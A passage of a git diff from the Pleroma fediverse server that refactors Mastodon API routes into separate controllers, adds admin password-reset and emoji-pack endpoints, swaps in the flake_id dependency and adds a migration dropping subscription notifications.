schema "push_subscriptions" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:token, Token) field(:endpoint, :string) field(:key_p256dh, :string) diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 3002d0738..cc6bcfa1a 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -161,6 +161,7 @@ defmodule Pleroma.Web.Router do post("/users/email_invite", AdminAPIController, :email_invite) get("/users/:nickname/password_reset", AdminAPIController, :get_password_reset) + patch("/users/:nickname/force_password_reset", AdminAPIController, :force_password_reset) get("/users", AdminAPIController, :list_users) get("/users/:nickname", AdminAPIController, :user_show) @@ -180,6 +181,30 @@ defmodule Pleroma.Web.Router do get("/config/migrate_from_db", AdminAPIController, :migrate_from_db) get("/moderation_log", AdminAPIController, :list_log) + + post("/reload_emoji", AdminAPIController, :reload_emoji) + end + + scope "/api/pleroma/emoji", Pleroma.Web.PleromaAPI do + scope "/packs" do + # Modifying packs + pipe_through(:admin_api) + + post("/import_from_fs", EmojiAPIController, :import_from_fs) + + post("/:pack_name/update_file", EmojiAPIController, :update_file) + post("/:pack_name/update_metadata", EmojiAPIController, :update_metadata) + put("/:name", EmojiAPIController, :create) + delete("/:name", EmojiAPIController, :delete) + post("/download_from", EmojiAPIController, :download_from) + post("/list_from", EmojiAPIController, :list_from) + end + + scope "/packs" do + # Pack info / downloading + get("/", EmojiAPIController, :list_packs) + get("/:name/download_shared/", EmojiAPIController, :download_shared) + end end scope "/", Pleroma.Web.TwitterAPI do @@ -225,85 +250,112 @@ defmodule Pleroma.Web.Router do end scope "/api/v1/pleroma", Pleroma.Web.PleromaAPI do - pipe_through(:authenticated_api) + scope [] do + pipe_through(:authenticated_api) - get("/conversations/:id/statuses", PleromaAPIController, :conversation_statuses) - get("/conversations/:id", PleromaAPIController, :conversation) + get("/conversations/:id/statuses", PleromaAPIController, :conversation_statuses) + get("/conversations/:id", PleromaAPIController, :conversation) + end - patch("/conversations/:id", PleromaAPIController, :update_conversation) - post("/notifications/read", PleromaAPIController, :read_notification) + scope [] do + pipe_through(:authenticated_api) + + patch("/conversations/:id", PleromaAPIController, :update_conversation) + post("/notifications/read", PleromaAPIController, :read_notification) + + patch("/accounts/update_avatar", AccountController, :update_avatar) + patch("/accounts/update_banner", AccountController, :update_banner) + patch("/accounts/update_background", AccountController, :update_background) + + get("/mascot", MascotController, :show) + put("/mascot", MascotController, :update) + + post("/scrobble", ScrobbleController, :new_scrobble) + end + + scope [] do + pipe_through(:api) + get("/accounts/:id/favourites", AccountController, :favourites) + end + + scope [] do + pipe_through(:authenticated_api) + + post("/accounts/:id/subscribe", AccountController, :subscribe) + post("/accounts/:id/unsubscribe", AccountController, :unsubscribe) + end + + post("/accounts/confirmation_resend", AccountController, :confirmation_resend) + end + + scope "/api/v1/pleroma", Pleroma.Web.PleromaAPI do + pipe_through(:api) + + get("/accounts/:id/scrobbles", ScrobbleController, :user_scrobbles) end scope "/api/v1", Pleroma.Web.MastodonAPI do pipe_through(:authenticated_api) - get("/accounts/verify_credentials", MastodonAPIController, :verify_credentials) + get("/accounts/verify_credentials", AccountController, :verify_credentials) - get("/accounts/relationships", MastodonAPIController, :relationships) + get("/accounts/relationships", AccountController, :relationships) - get("/accounts/:id/lists", MastodonAPIController, :account_lists) + get("/accounts/:id/lists", AccountController, :lists) get("/accounts/:id/identity_proofs", MastodonAPIController, :empty_array) - get("/follow_requests", MastodonAPIController, :follow_requests) + get("/follow_requests", FollowRequestController, :index) get("/blocks", MastodonAPIController, :blocks) get("/mutes", MastodonAPIController, :mutes) - get("/timelines/home", MastodonAPIController, :home_timeline) - get("/timelines/direct", MastodonAPIController, :dm_timeline) + get("/timelines/home", TimelineController, :home) + get("/timelines/direct", TimelineController, :direct) get("/favourites", MastodonAPIController, :favourites) - # Note: not present in Mastodon: bookmarks get("/bookmarks", MastodonAPIController, :bookmarks) - post("/notifications/clear", MastodonAPIController, :clear_notifications) - post("/notifications/dismiss", MastodonAPIController, :dismiss_notification) - get("/notifications", MastodonAPIController, :notifications) - get("/notifications/:id", MastodonAPIController, :get_notification) + get("/notifications", NotificationController, :index) + get("/notifications/:id", NotificationController, :show) + post("/notifications/clear", NotificationController, :clear) + post("/notifications/dismiss", NotificationController, :dismiss) + delete("/notifications/destroy_multiple", NotificationController, :destroy_multiple) - delete( - "/notifications/destroy_multiple", - MastodonAPIController, - :destroy_multiple_notifications - ) - - get("/scheduled_statuses", MastodonAPIController, :scheduled_statuses) - get("/scheduled_statuses/:id", MastodonAPIController, :show_scheduled_status) + get("/scheduled_statuses", ScheduledActivityController, :index) + get("/scheduled_statuses/:id", ScheduledActivityController, :show) get("/lists", ListController, :index) get("/lists/:id", ListController, :show) get("/lists/:id/accounts", ListController, :list_accounts) - get("/domain_blocks", MastodonAPIController, :domain_blocks) + get("/domain_blocks", DomainBlockController, :index) - get("/filters", MastodonAPIController, :get_filters) + get("/filters", FilterController, :index) get("/suggestions", MastodonAPIController, :suggestions) - get("/conversations", MastodonAPIController, :conversations) - post("/conversations/:id/read", MastodonAPIController, :conversation_read) + get("/conversations", ConversationController, :index) + post("/conversations/:id/read", ConversationController, :read) - get("/endorsements", MastodonAPIController, :endorsements) + get("/endorsements", AccountController, :endorsements) - patch("/accounts/update_credentials", MastodonAPIController, :update_credentials) + patch("/accounts/update_credentials", AccountController, :update_credentials) - post("/statuses", MastodonAPIController, :post_status) - delete("/statuses/:id", MastodonAPIController, :delete_status) + post("/statuses", StatusController, :create) + delete("/statuses/:id", StatusController, :delete) - post("/statuses/:id/reblog", MastodonAPIController, :reblog_status) - post("/statuses/:id/unreblog", MastodonAPIController, :unreblog_status) - post("/statuses/:id/favourite", MastodonAPIController, :fav_status) - post("/statuses/:id/unfavourite", MastodonAPIController, :unfav_status) - post("/statuses/:id/pin", MastodonAPIController, :pin_status) - post("/statuses/:id/unpin", MastodonAPIController, :unpin_status) - # Note: not present in Mastodon: bookmark - post("/statuses/:id/bookmark", MastodonAPIController, :bookmark_status) - # Note: not present in Mastodon: unbookmark - post("/statuses/:id/unbookmark", MastodonAPIController, :unbookmark_status) - post("/statuses/:id/mute", MastodonAPIController, :mute_conversation) - post("/statuses/:id/unmute", MastodonAPIController, :unmute_conversation) + post("/statuses/:id/reblog", StatusController, :reblog) + post("/statuses/:id/unreblog", StatusController, :unreblog) + post("/statuses/:id/favourite", StatusController, :favourite) + post("/statuses/:id/unfavourite", StatusController, :unfavourite) + post("/statuses/:id/pin", StatusController, :pin) + post("/statuses/:id/unpin", StatusController, :unpin) + post("/statuses/:id/bookmark", StatusController, :bookmark) + post("/statuses/:id/unbookmark", StatusController, :unbookmark) + post("/statuses/:id/mute", StatusController, :mute_conversation) + post("/statuses/:id/unmute", StatusController, :unmute_conversation) - put("/scheduled_statuses/:id", MastodonAPIController, :update_scheduled_status) - delete("/scheduled_statuses/:id", MastodonAPIController, :delete_scheduled_status) + put("/scheduled_statuses/:id", ScheduledActivityController, :update) + delete("/scheduled_statuses/:id", ScheduledActivityController, :delete) post("/polls/:id/votes", MastodonAPIController, :poll_vote) @@ -317,37 +369,28 @@ defmodule Pleroma.Web.Router do post("/lists/:id/accounts", ListController, :add_to_list) delete("/lists/:id/accounts", ListController, :remove_from_list) - post("/filters", MastodonAPIController, :create_filter) - get("/filters/:id", MastodonAPIController, :get_filter) - put("/filters/:id", MastodonAPIController, :update_filter) - delete("/filters/:id", MastodonAPIController, :delete_filter) + post("/filters", FilterController, :create) + get("/filters/:id", FilterController, :show) + put("/filters/:id", FilterController, :update) + delete("/filters/:id", FilterController, :delete) - patch("/pleroma/accounts/update_avatar", MastodonAPIController, :update_avatar) - patch("/pleroma/accounts/update_banner", MastodonAPIController, :update_banner) - patch("/pleroma/accounts/update_background", MastodonAPIController, :update_background) + post("/reports", ReportController, :create) - get("/pleroma/mascot", MastodonAPIController, :get_mascot) - put("/pleroma/mascot", MastodonAPIController, :set_mascot) + # To do: POST /api/v1/follows is not present in Mastodon - consider removing + post("/follows", MastodonAPIController, :follows) - post("/reports", MastodonAPIController, :create_report) + post("/accounts/:id/follow", AccountController, :follow) + post("/accounts/:id/unfollow", AccountController, :unfollow) + post("/accounts/:id/block", AccountController, :block) + post("/accounts/:id/unblock", AccountController, :unblock) + post("/accounts/:id/mute", AccountController, :mute) + post("/accounts/:id/unmute", AccountController, :unmute) - post("/follows", MastodonAPIController, :follow) - post("/accounts/:id/follow", MastodonAPIController, :follow) + post("/follow_requests/:id/authorize", FollowRequestController, :authorize) + post("/follow_requests/:id/reject", FollowRequestController, :reject) - post("/accounts/:id/unfollow", MastodonAPIController, :unfollow) - post("/accounts/:id/block", MastodonAPIController, :block) - post("/accounts/:id/unblock", MastodonAPIController, :unblock) - post("/accounts/:id/mute", MastodonAPIController, :mute) - post("/accounts/:id/unmute", MastodonAPIController, :unmute) - - post("/follow_requests/:id/authorize", MastodonAPIController, :authorize_follow_request) - post("/follow_requests/:id/reject", MastodonAPIController, :reject_follow_request) - - post("/domain_blocks", MastodonAPIController, :block_domain) - delete("/domain_blocks", MastodonAPIController, :unblock_domain) - - post("/pleroma/accounts/:id/subscribe", MastodonAPIController, :subscribe) - post("/pleroma/accounts/:id/unsubscribe", MastodonAPIController, :unsubscribe) + post("/domain_blocks", DomainBlockController, :create) + delete("/domain_blocks", DomainBlockController, :delete) post("/push/subscription", SubscriptionController, :create) get("/push/subscription", SubscriptionController, :get) @@ -364,7 +407,7 @@ defmodule Pleroma.Web.Router do scope "/api/v1", Pleroma.Web.MastodonAPI do pipe_through(:api) - post("/accounts", MastodonAPIController, :account_register) + post("/accounts", AccountController, :create) get("/instance", MastodonAPIController, :masto_instance) get("/instance/peers", MastodonAPIController, :peers) @@ -372,39 +415,31 @@ defmodule Pleroma.Web.Router do get("/apps/verify_credentials", MastodonAPIController, :verify_app_credentials) get("/custom_emojis", MastodonAPIController, :custom_emojis) - get("/statuses/:id/card", MastodonAPIController, :status_card) + get("/statuses/:id/card", StatusController, :card) - get("/statuses/:id/favourited_by", MastodonAPIController, :favourited_by) - get("/statuses/:id/reblogged_by", MastodonAPIController, :reblogged_by) + get("/statuses/:id/favourited_by", StatusController, :favourited_by) + get("/statuses/:id/reblogged_by", StatusController, :reblogged_by) get("/trends", MastodonAPIController, :empty_array) get("/accounts/search", SearchController, :account_search) - post( - "/pleroma/accounts/confirmation_resend", - MastodonAPIController, - :account_confirmation_resend - ) + get("/timelines/public", TimelineController, :public) + get("/timelines/tag/:tag", TimelineController, :hashtag) + get("/timelines/list/:list_id", TimelineController, :list) - get("/timelines/public", MastodonAPIController, :public_timeline) - get("/timelines/tag/:tag", MastodonAPIController, :hashtag_timeline) - get("/timelines/list/:list_id", MastodonAPIController, :list_timeline) - - get("/statuses", MastodonAPIController, :get_statuses) - get("/statuses/:id", MastodonAPIController, :get_status) - get("/statuses/:id/context", MastodonAPIController, :get_context) + get("/statuses", StatusController, :index) + get("/statuses/:id", StatusController, :show) + get("/statuses/:id/context", StatusController, :context) get("/polls/:id", MastodonAPIController, :get_poll) - get("/accounts/:id/statuses", MastodonAPIController, :user_statuses) - get("/accounts/:id/followers", MastodonAPIController, :followers) - get("/accounts/:id/following", MastodonAPIController, :following) - get("/accounts/:id", MastodonAPIController, :user) + get("/accounts/:id/statuses", AccountController, :statuses) + get("/accounts/:id/followers", AccountController, :followers) + get("/accounts/:id/following", AccountController, :following) + get("/accounts/:id", AccountController, :show) get("/search", SearchController, :search) - - get("/pleroma/accounts/:id/favourites", MastodonAPIController, :user_favourites) end scope "/api/v2", Pleroma.Web.MastodonAPI do @@ -506,14 +541,16 @@ defmodule Pleroma.Web.Router do get("/api/ap/whoami", ActivityPubController, :whoami) get("/users/:nickname/inbox", ActivityPubController, :read_inbox) + post("/users/:nickname/outbox", ActivityPubController, :update_outbox) + post("/api/ap/upload_media", ActivityPubController, :upload_media) + get("/users/:nickname/followers", ActivityPubController, :followers) get("/users/:nickname/following", ActivityPubController, :following) end scope "/", Pleroma.Web.ActivityPub do pipe_through(:activitypub) - post("/inbox", ActivityPubController, :inbox) post("/users/:nickname/inbox", ActivityPubController, :inbox) end diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 54f0280c9..c84359ddb 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -260,11 +260,9 @@ def version(conn, _params) do def emoji(conn, _params) do emoji = - Emoji.get_all() - |> Enum.map(fn {short_code, path, tags} -> - {short_code, %{image_url: path, tags: tags}} + Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc -> + Map.put(acc, code, %{image_url: file, tags: tags}) end) - |> Enum.into(%{}) json(conn, emoji) end diff --git a/lib/pleroma/web/twitter_api/twitter_api.ex b/lib/pleroma/web/twitter_api/twitter_api.ex index 8eda762c7..bfd838902 100644 --- a/lib/pleroma/web/twitter_api/twitter_api.ex +++ b/lib/pleroma/web/twitter_api/twitter_api.ex @@ -29,7 +29,7 @@ def register_user(params, opts \\ []) do captcha_enabled = Pleroma.Config.get([Pleroma.Captcha, :enabled]) # true if captcha is disabled or enabled and valid, false otherwise captcha_ok = - if !captcha_enabled do + if not captcha_enabled do :ok else Pleroma.Captcha.validate( diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex index 42bd74eb5..bf5a6ae42 100644 --- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex +++ b/lib/pleroma/web/twitter_api/twitter_api_controller.ex @@ -5,7 +5,6 @@ defmodule Pleroma.Web.TwitterAPI.Controller do use Pleroma.Web, :controller - alias Ecto.Changeset alias Pleroma.Notification alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.User @@ -16,18 +15,17 @@ defmodule Pleroma.Web.TwitterAPI.Controller do plug(OAuthScopesPlug, %{scopes: ["write:notifications"]} when action == :notifications_read) + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + action_fallback(:errors) def confirm_email(conn, %{"user_id" => uid, "token" => token}) do - with %User{} = user <- User.get_cached_by_id(uid), - true <- user.local, - true <- user.info.confirmation_pending, - true <- user.info.confirmation_token == token, - info_change <- User.Info.confirmation_changeset(user.info, need_confirmation: false), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_change), - {:ok, _} <- User.update_and_set_cache(changeset) do - conn - |> redirect(to: "/") + new_info = [need_confirmation: false] + + with %User{info: info} = user <- User.get_cached_by_id(uid), + true <- user.local and info.confirmation_pending and info.confirmation_token == token, + {:ok, _} <- User.update_info(user, &User.Info.confirmation_changeset(&1, new_info)) do + redirect(conn, to: "/") end end diff --git a/lib/pleroma/web/views/streamer_view.ex b/lib/pleroma/web/views/streamer_view.ex index b13030fa0..a9f14d09a 100644 --- a/lib/pleroma/web/views/streamer_view.ex +++ b/lib/pleroma/web/views/streamer_view.ex @@ -16,7 +16,7 @@ def render("update.json", %Activity{} = activity, %User{} = user) do event: "update", payload: Pleroma.Web.MastodonAPI.StatusView.render( - "status.json", + "show.json", activity: activity, for: user ) @@ -43,7 +43,7 @@ def render("update.json", %Activity{} = activity) do event: "update", payload: Pleroma.Web.MastodonAPI.StatusView.render( - "status.json", + "show.json", activity: activity ) |> Jason.encode!() diff --git a/lib/pleroma/web/websub/websub_client_subscription.ex b/lib/pleroma/web/websub/websub_client_subscription.ex index 77703c496..23a04b87d 100644 --- a/lib/pleroma/web/websub/websub_client_subscription.ex +++ b/lib/pleroma/web/websub/websub_client_subscription.ex @@ -13,7 +13,7 @@ defmodule Pleroma.Web.Websub.WebsubClientSubscription do field(:state, :string) field(:subscribers, {:array, :string}, default: []) field(:hub, :string) - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) timestamps() end diff --git a/lib/pleroma/workers/background_worker.ex b/lib/pleroma/workers/background_worker.ex index 082f20ab7..7ffc8eabe 100644 --- a/lib/pleroma/workers/background_worker.ex +++ b/lib/pleroma/workers/background_worker.ex @@ -26,6 +26,11 @@ def perform(%{"op" => "delete_user", "user_id" => user_id}, _job) do User.perform(:delete, user) end + def perform(%{"op" => "force_password_reset", "user_id" => user_id}, _job) do + user = User.get_cached_by_id(user_id) + User.perform(:force_password_reset, user) + end + def perform( %{ "op" => "blocks_import", diff --git a/mix.exs b/mix.exs index f2635da24..3a605b455 100644 --- a/mix.exs +++ b/mix.exs @@ -158,6 +158,10 @@ defp deps do {:ex_const, "~> 0.2"}, {:plug_static_index_html, "~> 1.0.0"}, {:excoveralls, "~> 0.11.1", only: :test}, + {:flake_id, "~> 0.1.0"}, + {:remote_ip, + git: "https://git.pleroma.social/pleroma/remote_ip.git", + ref: "825dc00aaba5a1b7c4202a532b696b595dd3bcb3"}, {:mox, "~> 0.5", only: :test} ] ++ oauth_deps() end diff --git a/mix.lock b/mix.lock index 24b34c09c..5f740638c 100644 --- a/mix.lock +++ b/mix.lock @@ -1,6 +1,7 @@ %{ "accept": {:hex, :accept, "0.3.5", "b33b127abca7cc948bbe6caa4c263369abf1347cfa9d8e699c6d214660f10cd1", [:rebar3], [], "hexpm"}, "auto_linker": {:git, "https://git.pleroma.social/pleroma/auto_linker.git", "95e8188490e97505c56636c1379ffdf036c1fdde", [ref: "95e8188490e97505c56636c1379ffdf036c1fdde"]}, + "base62": {:hex, :base62, "1.2.1", "4866763e08555a7b3917064e9eef9194c41667276c51b59de2bc42c6ea65f806", [:mix], [{:custom_base, "~> 0.2.1", [hex: :custom_base, repo: "hexpm", optional: false]}], "hexpm"}, "base64url": {:hex, :base64url, "0.0.1", "36a90125f5948e3afd7be97662a1504b934dd5dac78451ca6e9abf85a10286be", [:rebar], [], "hexpm"}, "bbcode": {:hex, :bbcode, "0.1.1", "0023e2c7814119b2e620b7add67182e3f6019f92bfec9a22da7e99821aceba70", [:mix], [{:nimble_parsec, "~> 0.5", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm"}, "benchee": {:hex, :benchee, "1.0.1", "66b211f9bfd84bd97e6d1beaddf8fc2312aaabe192f776e8931cb0c16f53a521", [:mix], [{:deep_merge, "~> 1.0", [hex: :deep_merge, repo: "hexpm", optional: false]}], "hexpm"}, @@ -17,6 +18,7 @@ "credo": {:hex, :credo, "0.9.3", "76fa3e9e497ab282e0cf64b98a624aa11da702854c52c82db1bf24e54ab7c97a", [:mix], [{:bunt, "~> 0.2.0", [hex: :bunt, repo: "hexpm", optional: false]}, {:poison, ">= 0.0.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"}, "crontab": {:hex, :crontab, "1.1.7", "b9219f0bdc8678b94143655a8f229716c5810c0636a4489f98c0956137e53985", [:mix], [{:ecto, "~> 1.0 or ~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm"}, "crypt": {:git, "https://github.com/msantos/crypt", "1f2b58927ab57e72910191a7ebaeff984382a1d3", [ref: "1f2b58927ab57e72910191a7ebaeff984382a1d3"]}, + "custom_base": {:hex, :custom_base, "0.2.1", "4a832a42ea0552299d81652aa0b1f775d462175293e99dfbe4d7dbaab785a706", [:mix], [], "hexpm"}, "db_connection": {:hex, :db_connection, "2.1.1", "a51e8a2ee54ef2ae6ec41a668c85787ed40cb8944928c191280fe34c15b76ae5", [:mix], [{:connection, "~> 1.0.2", [hex: :connection, repo: "hexpm", optional: false]}], "hexpm"}, "decimal": {:hex, :decimal, "1.8.0", "ca462e0d885f09a1c5a342dbd7c1dcf27ea63548c65a65e67334f4b61803822e", [:mix], [], "hexpm"}, "deep_merge": {:hex, :deep_merge, "1.0.0", "b4aa1a0d1acac393bdf38b2291af38cb1d4a52806cf7a4906f718e1feb5ee961", [:mix], [], "hexpm"}, @@ -34,17 +36,19 @@ "ex_rated": {:hex, :ex_rated, "1.3.3", "30ecbdabe91f7eaa9d37fa4e81c85ba420f371babeb9d1910adbcd79ec798d27", [:mix], [{:ex2ms, "~> 1.5", [hex: :ex2ms, repo: "hexpm", optional: false]}], "hexpm"}, "ex_syslogger": {:git, "https://github.com/slashmili/ex_syslogger.git", "f3963399047af17e038897c69e20d552e6899e1d", [tag: "1.4.0"]}, "excoveralls": {:hex, :excoveralls, "0.11.1", "dd677fbdd49114fdbdbf445540ec735808250d56b011077798316505064edb2c", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm"}, + "flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm"}, "floki": {:hex, :floki, "0.23.0", "956ab6dba828c96e732454809fb0bd8d43ce0979b75f34de6322e73d4c917829", [:mix], [{:html_entities, "~> 0.4.0", [hex: :html_entities, repo: "hexpm", optional: false]}], "hexpm"}, "gen_smtp": {:hex, :gen_smtp, "0.14.0", "39846a03522456077c6429b4badfd1d55e5e7d0fdfb65e935b7c5e38549d9202", [:rebar3], [], "hexpm"}, "gen_stage": {:hex, :gen_stage, "0.14.2", "6a2a578a510c5bfca8a45e6b27552f613b41cf584b58210f017088d3d17d0b14", [:mix], [], "hexpm"}, "gen_state_machine": {:hex, :gen_state_machine, "2.0.5", "9ac15ec6e66acac994cc442dcc2c6f9796cf380ec4b08267223014be1c728a95", [:mix], [], "hexpm"}, "gettext": {:hex, :gettext, "0.17.0", "abe21542c831887a2b16f4c94556db9c421ab301aee417b7c4fbde7fbdbe01ec", [:mix], [], "hexpm"}, - "hackney": {:hex, :hackney, "1.15.1", "9f8f471c844b8ce395f7b6d8398139e26ddca9ebc171a8b91342ee15a19963f4", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.4", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"}, + "hackney": {:hex, :hackney, "1.15.2", "07e33c794f8f8964ee86cebec1a8ed88db5070e52e904b8f12209773c1036085", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.5", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"}, "html_entities": {:hex, :html_entities, "0.4.0", "f2fee876858cf6aaa9db608820a3209e45a087c5177332799592142b50e89a6b", [:mix], [], "hexpm"}, "html_sanitize_ex": {:hex, :html_sanitize_ex, "1.3.0", "f005ad692b717691203f940c686208aa3d8ffd9dd4bb3699240096a51fa9564e", [:mix], [{:mochiweb, "~> 2.15", [hex: :mochiweb, repo: "hexpm", optional: false]}], "hexpm"}, "http_signatures": {:git, "https://git.pleroma.social/pleroma/http_signatures.git", "293d77bb6f4a67ac8bde1428735c3b42f22cbb30", [ref: "293d77bb6f4a67ac8bde1428735c3b42f22cbb30"]}, "httpoison": {:hex, :httpoison, "1.2.0", "2702ed3da5fd7a8130fc34b11965c8cfa21ade2f232c00b42d96d4967c39a3a3", [:mix], [{:hackney, "~> 1.8", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm"}, "idna": {:hex, :idna, "6.0.0", "689c46cbcdf3524c44d5f3dde8001f364cd7608a99556d8fbd8239a5798d4c10", [:rebar3], [{:unicode_util_compat, "0.4.1", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm"}, + "inet_cidr": {:hex, :inet_cidr, "1.0.4", "a05744ab7c221ca8e395c926c3919a821eb512e8f36547c062f62c4ca0cf3d6e", [:mix], [], "hexpm"}, "jason": {:hex, :jason, "1.1.2", "b03dedea67a99223a2eaf9f1264ce37154564de899fd3d8b9a21b1a6fd64afe7", [:mix], [{:decimal, "~> 1.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm"}, "joken": {:hex, :joken, "2.0.1", "ec9ab31bf660f343380da033b3316855197c8d4c6ef597fa3fcb451b326beb14", [:mix], [{:jose, "~> 1.9", [hex: :jose, repo: "hexpm", optional: false]}], "hexpm"}, "jose": {:hex, :jose, "1.9.0", "4167c5f6d06ffaebffd15cdb8da61a108445ef5e85ab8f5a7ad926fdf3ada154", [:mix, :rebar3], [{:base64url, "~> 0.0.1", [hex: :base64url, repo: "hexpm", optional: false]}], "hexpm"}, @@ -84,7 +88,8 @@ "quantum": {:hex, :quantum, "2.3.4", "72a0e8855e2adc101459eac8454787cb74ab4169de6ca50f670e72142d4960e9", [:mix], [{:calendar, "~> 0.17", [hex: :calendar, repo: "hexpm", optional: true]}, {:crontab, "~> 1.1", [hex: :crontab, repo: "hexpm", optional: false]}, {:gen_stage, "~> 0.12", [hex: :gen_stage, repo: "hexpm", optional: false]}, {:swarm, "~> 3.3", [hex: :swarm, repo: "hexpm", optional: false]}, {:timex, "~> 3.1", [hex: :timex, repo: "hexpm", optional: true]}], "hexpm"}, "ranch": {:hex, :ranch, "1.7.1", "6b1fab51b49196860b733a49c07604465a47bdb78aa10c1c16a3d199f7f8c881", [:rebar3], [], "hexpm"}, "recon": {:git, "https://github.com/ferd/recon.git", "75d70c7c08926d2f24f1ee6de14ee50fe8a52763", [tag: "2.4.0"]}, - "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.4", "f0eafff810d2041e93f915ef59899c923f4568f4585904d010387ed74988e77b", [:make, :mix, :rebar3], [], "hexpm"}, + "remote_ip": {:git, "https://git.pleroma.social/pleroma/remote_ip.git", "825dc00aaba5a1b7c4202a532b696b595dd3bcb3", [ref: "825dc00aaba5a1b7c4202a532b696b595dd3bcb3"]}, + "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.5", "6eaf7ad16cb568bb01753dbbd7a95ff8b91c7979482b95f38443fe2c8852a79b", [:make, :mix, :rebar3], [], "hexpm"}, "swarm": {:hex, :swarm, "3.4.0", "64f8b30055d74640d2186c66354b33b999438692a91be275bb89cdc7e401f448", [:mix], [{:gen_state_machine, "~> 2.0", [hex: :gen_state_machine, repo: "hexpm", optional: false]}, {:libring, "~> 1.0", [hex: :libring, repo: "hexpm", optional: false]}], "hexpm"}, "sweet_xml": {:hex, :sweet_xml, "0.6.6", "fc3e91ec5dd7c787b6195757fbcf0abc670cee1e4172687b45183032221b66b8", [:mix], [], "hexpm"}, "swoosh": {:hex, :swoosh, "0.23.2", "7dda95ff0bf54a2298328d6899c74dae1223777b43563ccebebb4b5d2b61df38", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm"}, diff --git a/priv/repo/migrations/20190929201536_drop_subscription_if_exists.exs b/priv/repo/migrations/20190929201536_drop_subscription_if_exists.exs new file mode 100644 index 000000000..bbf70f78b --- /dev/null +++ b/priv/repo/migrations/20190929201536_drop_subscription_if_exists.exs @@ -0,0 +1,16 @@ +defmodule Pleroma.Repo.Migrations.DropSubscriptionIfExists do + use Ecto.Migration + + def change do + + end + + def up do + drop_if_exists(index(:subscription_notifications, [:user_id])) + drop_if_exists(index(:subscription_notifications, ["id desc nulls last"])) + drop_if_exists(table(:subscription_notifications)) + end + def down do + :ok + end +end diff --git a/priv/static/adminfe/app.34fc670f.css b/priv/static/adminfe/app.f774664e.css similarity index 92% rename from priv/static/adminfe/app.34fc670f.css rename to priv/static/adminfe/app.f774664e.css index 136aa8bb1..b82fcc39e 100644 Binary files a/priv/static/adminfe/app.34fc670f.css and b/priv/static/adminfe/app.f774664e.css differ diff --git a/priv/static/adminfe/chunk-15fa.9e804910.css b/priv/static/adminfe/chunk-15fa.9e804910.css new file mode 100644 index 000000000..30bf7de23 Binary files /dev/null and b/priv/static/adminfe/chunk-15fa.9e804910.css differ diff --git a/priv/static/adminfe/chunk-18e1.6aaab273.css b/priv/static/adminfe/chunk-1bbd.dc6c5fb2.css similarity index 100% rename from priv/static/adminfe/chunk-18e1.6aaab273.css rename to priv/static/adminfe/chunk-1bbd.dc6c5fb2.css diff --git a/priv/static/adminfe/chunk-2325.0d22684d.css b/priv/static/adminfe/chunk-2325.0d22684d.css deleted file mode 100644 index bdb738700..000000000 Binary files a/priv/static/adminfe/chunk-2325.0d22684d.css and /dev/null differ diff --git a/priv/static/adminfe/chunk-3871.820645ae.css b/priv/static/adminfe/chunk-3871.820645ae.css new file mode 100644 index 000000000..172bce317 Binary files /dev/null and b/priv/static/adminfe/chunk-3871.820645ae.css differ diff --git a/priv/static/adminfe/chunk-0e18.e12401fb.css b/priv/static/adminfe/chunk-3d1c.a6b92ca7.css 